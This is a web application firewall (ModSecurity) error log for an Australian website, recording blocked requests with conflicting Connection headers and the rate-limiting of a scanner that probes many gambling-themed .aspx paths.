[Sun Feb 08 09:15:12.238489 2026] [:error] [pid 24422:tid 24482] [client 43.157.149.188:60830] [client 43.157.149.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYfjoCNNjcLoSCLKhTfeHAAAAFg"]
[Sun Feb 08 10:46:06.892228 2026] [:error] [pid 24421:tid 24453] [client 43.153.48.240:45898] [client 43.153.48.240] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYf47qp7cTzhX5M1IP-ivwAAABY"]
[Sun Feb 08 11:04:32.538664 2026] [:error] [pid 24530:tid 24534] [client 65.108.2.171:48548] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYf9QEazNRCs1GRWrh5pwAAAAMI"]
[Sun Feb 08 11:04:34.997012 2026] [:error] [pid 24423:tid 24496] [client 65.108.2.171:52946] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYf9Qk3f9n1Y0TpV5Yby5AAAAIs"]
[Sun Feb 08 11:04:37.567760 2026] [:error] [pid 24421:tid 24436] [client 65.108.2.171:52952] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYf9Rap7cTzhX5M1IP-p0QAAAAU"]
[Sun Feb 08 11:04:40.138564 2026] [:error] [pid 56906:tid 56923] [client 65.108.2.171:52956] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYf9SPxl3WX27-WXfDhMVgAAAQ8"]
[Sun Feb 08 11:04:42.737057 2026] [:error] [pid 24422:tid 24474] [client 65.108.2.171:52962] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYf9SiNNjcLoSCLKhTcFFwAAAFA"]
[Sun Feb 08 11:04:45.298718 2026] [:error] [pid 56906:tid 56924] [client 65.108.2.171:16322] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYf9Tfxl3WX27-WXfDhMXgAAARA"]
[Sun Feb 08 11:04:47.881693 2026] [:error] [pid 56906:tid 56927] [client 65.108.2.171:16326] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYf9T_xl3WX27-WXfDhMYQAAARM"]
[Sun Feb 08 11:04:50.475331 2026] [:error] [pid 56906:tid 56919] [client 65.108.2.171:16336] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYf9Uvxl3WX27-WXfDhMcAAAAQs"]
[Sun Feb 08 11:04:53.067843 2026] [:error] [pid 56906:tid 56928] [client 65.108.2.171:16342] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYf9Vfxl3WX27-WXfDhMdQAAARQ"]
[Sun Feb 08 11:04:55.661821 2026] [:error] [pid 24421:tid 24448] [client 65.108.2.171:3458] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYf9V6p7cTzhX5M1IP-p7wAAABE"]
[Sun Feb 08 11:04:58.248104 2026] [:error] [pid 24423:tid 24499] [client 65.108.2.171:3464] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYf9Wk3f9n1Y0TpV5Yby_wAAAI4"]
[Sun Feb 08 11:05:00.819284 2026] [:error] [pid 24423:tid 24487] [client 65.108.2.171:3478] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYf9XE3f9n1Y0TpV5YbzAgAAAII"]
[Sun Feb 08 11:05:03.396188 2026] [:error] [pid 24422:tid 24475] [client 65.108.2.171:3492] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYf9XyNNjcLoSCLKhTcFLwAAAFE"]
[Sun Feb 08 11:05:05.983489 2026] [:error] [pid 24423:tid 24503] [client 65.108.2.171:7702] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYf9YU3f9n1Y0TpV5YbzCQAAAJI"]
[Sun Feb 08 11:05:08.563781 2026] [:error] [pid 24421:tid 24446] [client 65.108.2.171:7714] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYf9ZKp7cTzhX5M1IP-qBgAAAA8"]
[Sun Feb 08 11:05:11.139095 2026] [:error] [pid 56906:tid 56912] [client 65.108.2.171:7720] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYf9Z_xl3WX27-WXfDhMlAAAAQQ"]
[Sun Feb 08 11:05:13.720262 2026] [:error] [pid 24421:tid 24451] [client 65.108.2.171:7734] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYf9aap7cTzhX5M1IP-qDwAAABQ"]
[Sun Feb 08 11:05:16.290975 2026] [:error] [pid 56906:tid 56924] [client 65.108.2.171:47182] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYf9bPxl3WX27-WXfDhMnwAAARA"]
[Sun Feb 08 11:05:18.877106 2026] [:error] [pid 56906:tid 56929] [client 65.108.2.171:47184] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYf9bvxl3WX27-WXfDhMsgAAARU"]
[Sun Feb 08 11:05:21.453451 2026] [:error] [pid 24423:tid 24504] [client 65.108.2.171:47198] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYf9cU3f9n1Y0TpV5YbzGwAAAJM"]
[Sun Feb 08 11:05:24.036608 2026] [:error] [pid 24422:tid 24461] [client 65.108.2.171:47210] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYf9dCNNjcLoSCLKhTcFlgAAAEM"]
[Sun Feb 08 11:05:26.611414 2026] [:error] [pid 24423:tid 24488] [client 65.108.2.171:54512] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYf9dk3f9n1Y0TpV5YbzIwAAAIM"]
[Sun Feb 08 11:05:57.370181 2026] [:error] [pid 56906:tid 56930] [client 65.108.2.171:25324] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYf9lfxl3WX27-WXfDhNDAAAARY"]
[Sun Feb 08 11:05:59.804807 2026] [:error] [pid 24421:tid 24434] [client 65.108.2.171:25330] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYf9l6p7cTzhX5M1IP-qhgAAAAM"]
[Sun Feb 08 11:06:02.409413 2026] [:error] [pid 24421:tid 24436] [client 65.108.2.171:25332] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYf9mqp7cTzhX5M1IP-qkQAAAAU"]
[Sun Feb 08 11:06:04.986754 2026] [:error] [pid 24421:tid 24449] [client 65.108.2.171:33826] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYf9nKp7cTzhX5M1IP-qlwAAABI"]
[Sun Feb 08 11:06:07.582244 2026] [:error] [pid 56906:tid 56932] [client 65.108.2.171:33840] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYf9n_xl3WX27-WXfDhNIAAAARg"]
[Sun Feb 08 11:06:10.176992 2026] [:error] [pid 24423:tid 24489] [client 65.108.2.171:33852] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYf9ok3f9n1Y0TpV5YbzTwAAAIQ"]
[Sun Feb 08 11:06:12.773191 2026] [:error] [pid 24422:tid 24474] [client 65.108.2.171:33864] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYf9pCNNjcLoSCLKhTcGBQAAAFA"]
[Sun Feb 08 11:06:15.343444 2026] [:error] [pid 24423:tid 24487] [client 65.108.2.171:55084] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYf9p03f9n1Y0TpV5YbzVgAAAII"]
[Sun Feb 08 11:06:17.920725 2026] [:error] [pid 24530:tid 24555] [client 65.108.2.171:55090] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYf9qUazNRCs1GRWrh5qTAAAANc"]
[Sun Feb 08 11:06:20.366808 2026] [:error] [pid 24530:tid 24550] [client 65.108.2.171:55102] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYf9rEazNRCs1GRWrh5qUgAAANI"]
[Sun Feb 08 11:06:22.945267 2026] [:error] [pid 24530:tid 24554] [client 65.108.2.171:55110] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYf9rkazNRCs1GRWrh5qXQAAANY"]
[Sun Feb 08 11:06:25.371833 2026] [:error] [pid 56906:tid 56910] [client 65.108.2.171:27490] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYf9sfxl3WX27-WXfDhNVgAAAQI"]
[Sun Feb 08 11:06:27.967844 2026] [:error] [pid 24423:tid 24485] [client 65.108.2.171:27492] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYf9s03f9n1Y0TpV5YbzYgAAAIA"]
[Sun Feb 08 11:06:30.595457 2026] [:error] [pid 56906:tid 56923] [client 65.108.2.171:27500] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYf9tvxl3WX27-WXfDhNcAAAAQ8"]
[Sun Feb 08 11:06:33.186755 2026] [:error] [pid 56906:tid 56911] [client 65.108.2.171:27502] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYf9ufxl3WX27-WXfDhNdQAAAQM"]
[Sun Feb 08 11:06:35.637309 2026] [:error] [pid 56906:tid 56920] [client 65.108.2.171:43578] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYf9u_xl3WX27-WXfDhNfgAAAQw"]
[Sun Feb 08 11:06:38.212564 2026] [:error] [pid 24422:tid 24463] [client 65.108.2.171:43586] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYf9viNNjcLoSCLKhTcGXgAAAEU"]
[Sun Feb 08 11:06:40.799886 2026] [:error] [pid 24422:tid 24460] [client 65.108.2.171:43596] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYf9wCNNjcLoSCLKhTcGYwAAAEI"]
[Sun Feb 08 11:06:43.383331 2026] [:error] [pid 24423:tid 24485] [client 65.108.2.171:43610] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYf9w03f9n1Y0TpV5YbzfgAAAIA"]
[Sun Feb 08 11:06:45.984359 2026] [:error] [pid 56906:tid 56929] [client 65.108.2.171:46558] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYf9xfxl3WX27-WXfDhNmwAAARU"]
[Sun Feb 08 11:06:48.581208 2026] [:error] [pid 24421:tid 24437] [client 65.108.2.171:46564] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYf9yKp7cTzhX5M1IP-rEQAAAAY"]
[Sun Feb 08 11:06:51.168068 2026] [:error] [pid 24530:tid 24551] [client 65.108.2.171:46572] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYf9y0azNRCs1GRWrh5qlAAAANM"]
[Sun Feb 08 11:06:53.778914 2026] [:error] [pid 24423:tid 24500] [client 65.108.2.171:46580] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYf9zU3f9n1Y0TpV5YbzjQAAAI8"]
[Sun Feb 08 11:07:24.206432 2026] [:error] [pid 24422:tid 24482] [client 65.108.2.171:44232] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYf97CNNjcLoSCLKhTcGuwAAAFg"]
[Sun Feb 08 11:07:26.804320 2026] [:error] [pid 24530:tid 24543] [client 65.108.2.171:41204] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYf97kazNRCs1GRWrh5q2AAAAMs"]
[Sun Feb 08 11:07:29.403177 2026] [:error] [pid 24423:tid 24486] [client 65.108.2.171:41208] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYf98U3f9n1Y0TpV5YbztAAAAIE"]
[Sun Feb 08 11:07:32.122856 2026] [:error] [pid 24423:tid 24505] [client 65.108.2.171:41222] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYf99E3f9n1Y0TpV5YbztQAAAJQ"]
[Sun Feb 08 11:07:34.697114 2026] [:error] [pid 56906:tid 56918] [client 65.108.2.171:41234] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYf99vxl3WX27-WXfDhN9QAAAQo"]
[Sun Feb 08 11:07:37.307208 2026] [:error] [pid 24422:tid 24466] [client 65.108.2.171:24656] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYf9-SNNjcLoSCLKhTcG0gAAAEg"]
